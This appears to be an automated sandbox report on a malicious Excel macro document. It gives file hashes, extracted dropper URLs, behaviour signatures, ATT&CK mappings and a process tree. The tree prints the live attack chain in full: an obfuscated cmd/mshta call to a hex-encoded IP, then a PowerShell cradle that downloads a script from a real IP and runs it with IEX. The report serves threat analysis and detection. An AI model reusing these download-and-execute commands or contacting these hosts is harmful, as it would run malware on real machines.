04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908

General

Target

19871442-319056.xlsm
Size

114KB
MD5

762dc2ad8c9f6360ee9c107028d17253
SHA1

ee1dcd803cc7fe4e267e080e6f16f09983ef3d49
SHA256

04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908
SHA512

5c4ac0430e8a5c7b3deafbd08014ce97a4b0aca115ff5d8db2479f95eb5c791fd807b520c5ed2e24f9c16501e88c6c8e8116de504b24699a9aee8239d77d90dc

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3048	2152	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	1668	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1584	1668	WerFault.exe	60

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2152	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE
2152	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 3048	2152	EXCEL.EXE	58
PID 2152 wrote to memory of 3048	2152	EXCEL.EXE	58
PID 3048 wrote to memory of 1668	3048	cmd.exe	60
PID 3048 wrote to memory of 1668	3048	cmd.exe	60

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\19871442-319056.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/sec.html
    3⤵
    - Blocklisted process makes network request
    PID:1668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2080
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1668 -s 1724
      4⤵
      Program crash
      PID:1584

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 1668 -ip 1668
1⤵
PID:2792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2152-131-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/2152-132-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/2152-133-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/2152-134-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/2152-135-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/2152-138-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

Filesize
64KB

Download
memory/2152-139-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads